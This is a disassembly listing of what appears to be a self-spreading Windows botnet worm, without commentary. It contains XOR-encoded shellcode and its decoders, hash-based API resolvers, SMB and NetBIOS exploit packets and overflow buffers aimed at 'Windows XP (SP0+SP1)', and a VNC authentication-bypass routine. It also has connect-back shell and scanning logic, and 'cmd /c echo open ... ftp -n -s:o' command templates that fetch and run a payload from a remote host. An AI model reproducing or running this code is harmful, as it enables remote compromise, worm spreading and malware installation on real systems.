; ---------------------------------------------------------------------------
jmp short loc_43161E
; =============== S U B R O U T I N E =======================================
sub_43160E proc near ; CODE XREF: sub_43160E:loc_43161Ep
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_431616: ; CODE XREF: sub_43160E+Cj
xor byte ptr [edx+ecx], 99h
loop loc_431616
jmp short loc_431623
; ---------------------------------------------------------------------------
loc_43161E: ; CODE XREF: ___:0043160Cj
call sub_43160E
loc_431623: ; CODE XREF: sub_43160E+Ej
jo short near ptr dword_4315AC+12h
cwde
cdq
cdq
retn
sub_43160E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
align 10h
dword_4317A0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o
unk_4317AC db 2Dh ; - ; DATA XREF: sub_40B64A+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_4317CC db 2Dh ; - ; DATA XREF: sub_40B719+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431814 db 2Dh ; - ; DATA XREF: sub_40B785+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo
dword_431850 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431860 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B7DA+14o
dd 7473694Ch, 3Ah
unk_43187C db 2Dh ; - ; DATA XREF: ___:0040BA13o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_4318B0 db 2Dh ; - ; DATA XREF: ___:0040B921o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_4318E0 db 2Dh ; - ; DATA XREF: sub_40BA56+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_431900 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_43191C db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 10h
unk_431950 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_431988 db 2Dh ; - ; DATA XREF: sub_40BACD+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_4319B8 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4319EC db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
unk_431A20 db 2Dh ; - ; DATA XREF: sub_40BACD+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
unk_431A54 db 2Dh ; - ; DATA XREF: sub_40C124+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431A7C db 2Dh ; - ; DATA XREF: sub_40C124+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AB4 db 2Dh ; - ; DATA XREF: sub_40C124+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431AF4 db 2Dh ; - ; DATA XREF: sub_40C124+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431B2C db 2Dh ; - ; DATA XREF: sub_40C124+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B60 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431B94 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C59B+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o
align 4
dword_431C48 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao
dword_431C50 dd 10FF8h ; DATA XREF: sub_40CADA+79o
dword_431C54 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o
dword_431C5C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CE4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_431D14 dd 0 ; DATA XREF: sub_40CF04+44o
dd 800000D4h, 0
unk_431D20 db 81h ; ; DATA XREF: sub_40CFDE+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_431D6C db 41h ; DATA XREF: sub_40D07C+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_431DB0 proc near ; DATA XREF: ___:0040D35Bo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_431EAC
push dword ptr [esi]
push 63D61209h
call sub_431EC2
mov [esi+8], eax
call sub_431E75
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_431EC2
mov [esi+0Ch], eax
call sub_431E27
push dword ptr [esi+4]
push 4C0297FAh
call sub_431EC2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_431DB0 endp
; =============== S U B R O U T I N E =======================================
sub_431E27 proc near ; CODE XREF: sub_431DB0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_431E50
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_431E27 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E50 proc near ; CODE XREF: sub_431E27+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_431E5F: ; CODE XREF: sub_431E50+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_431E6C
inc ebx
jmp short loc_431E5F
; ---------------------------------------------------------------------------
loc_431E6C: ; CODE XREF: sub_431E50+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_431E50 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E75 proc near ; CODE XREF: sub_431DB0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_431E8D: ; CODE XREF: sub_431E75+1Ej
cmp [ecx], ebx
jz short loc_431E95
mov ecx, [ecx]
jmp short loc_431E8D
; ---------------------------------------------------------------------------
loc_431E95: ; CODE XREF: sub_431E75+1Aj
mov edx, edi
loc_431E97: ; CODE XREF: sub_431E75+2Aj
cmp [edx+4], ebx
jz short loc_431EA1
mov edx, [edx+4]
jmp short loc_431E97
; ---------------------------------------------------------------------------
loc_431EA1: ; CODE XREF: sub_431E75+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_431E75 endp
; =============== S U B R O U T I N E =======================================
sub_431EAC proc near ; CODE XREF: sub_431DB0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_431EAC endp
; =============== S U B R O U T I N E =======================================
sub_431EC2 proc near ; CODE XREF: sub_431DB0+16p
; sub_431DB0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_431ED8: ; CODE XREF: sub_431EC2+33j
jecxz short loc_431F12
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_431EE5: ; CODE XREF: sub_431EC2+2Dj
lodsb
cmp al, ah
jz short loc_431EF1
ror edi, 0Dh
add edi, eax
jmp short loc_431EE5
; ---------------------------------------------------------------------------
loc_431EF1: ; CODE XREF: sub_431EC2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_431ED8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_431F12: ; CODE XREF: sub_431EC2:loc_431ED8j
; sub_431EC2:loc_431F12j
jmp short loc_431F12
sub_431EC2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_431F18 proc near ; DATA XREF: ___:0040D309o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_431F6A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_431F35: ; CODE XREF: sub_431F18+38j
jecxz short loc_431F65
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_431F40: ; CODE XREF: sub_431F18+32j
lodsb
test al, al
jz short loc_431F4C
ror edx, 0Dh
add edx, eax
jmp short loc_431F40
; ---------------------------------------------------------------------------
loc_431F4C: ; CODE XREF: sub_431F18+2Bj
cmp edx, [esp+arg_0]
jnz short loc_431F35
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_431F65: ; CODE XREF: sub_431F18:loc_431F35j
mov [esp+arg_0], ebx
retn
sub_431F18 endp
; =============== S U B R O U T I N E =======================================
sub_431F6A proc near ; CODE XREF: sub_431F18+7p
; FUNCTION CHUNK AT 00431FA2 SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_431F83
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_431F8E
; ---------------------------------------------------------------------------
loc_431F83: ; CODE XREF: sub_431F6A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_431F8E: ; CODE XREF: sub_431F6A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_431FA2
sub_431F6A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431F95 proc near ; CODE XREF: sub_431F6A:loc_431FA2p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_431F95 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431F6A
loc_431FA2: ; CODE XREF: sub_431F6A+29j
call sub_431F95
loc_431FA7: ; DATA XREF: sub_40CADA+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_431F6A
; ---------------------------------------------------------------------------
dw 0
dword_431FAC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB8 dd 30h ; DATA XREF: sub_40CADA+2CAo
dword_431FBC dd 0A1h ; DATA XREF: sub_40CADA+29Fo
dword_431FC0 dd 3 ; DATA XREF: sub_40CADA+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o
align 4
loc_431FCC: ; DATA XREF: sub_40CADA+E8o
jmp short near ptr dword_431FD4
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_431FD4 dd 0 ; CODE XREF: ___:loc_431FCCj
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D330o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_432040 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------
loc_43204C: ; CODE XREF: ___:00432056j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_43204C
inc edi
jz short loc_432093
and eax, 952CE753h
inc esp
jle short loc_4320BB
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_432093: ; CODE XREF: ___:00432059j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4320F2+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_4320B8: ; CODE XREF: ___:004320E5j
xor [esi-25h], bl
loc_4320BB: ; CODE XREF: ___:00432061j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_4320D4: ; CODE XREF: ___:00432107j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_4320B8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4320F2: ; CODE XREF: ___:00432099j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_43217E
jo short loc_4320D4
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_432115+1
add bl, [edi]
loc_432115: ; CODE XREF: ___:00432111j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_43212A+2
cmp ch, bh
dec edx
loc_43212A: ; CODE XREF: ___:00432125j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_43217E: ; CODE XREF: ___:00432105j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_432204
sub al, 0BCh
jmp near ptr 54452572h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321A0 dd 0EFFFC481h, 44FFFFh, 4321ECh ; DATA XREF: ___:0040DC32o
dword_4321AC dd 42Ah ; DATA XREF: ___:0040DBE5r
dword_4321B0 dd 3E8h ; DATA XREF: ___:0040DC56r
dword_4321B4 dd 258h ; DATA XREF: ___:0040DC28r
byte_4321B8 db 1 ; DATA XREF: ___:0040DB91r
; ___:0040DC5Fr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4321D0 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321BCo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_432204: ; CODE XREF: ___:00432188j
push eax
xor al, 29h
loc_432207: ; DATA XREF: ___:0040DBB9o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_432210 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o
dword_432224 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
align 4
aSIpc db '\\%s\ipc$',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DFE2+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322CC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
align 10h
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
align 10h
word_433510 dw 1 ; DATA XREF: ___:0040E210r
align 4
dword_433514 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_419C64+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
aFtpTransferCom db 'ftp transfer complete to: %s',0
align 4
a226TransferCom db '226 Transfer complete.',0Ah,0
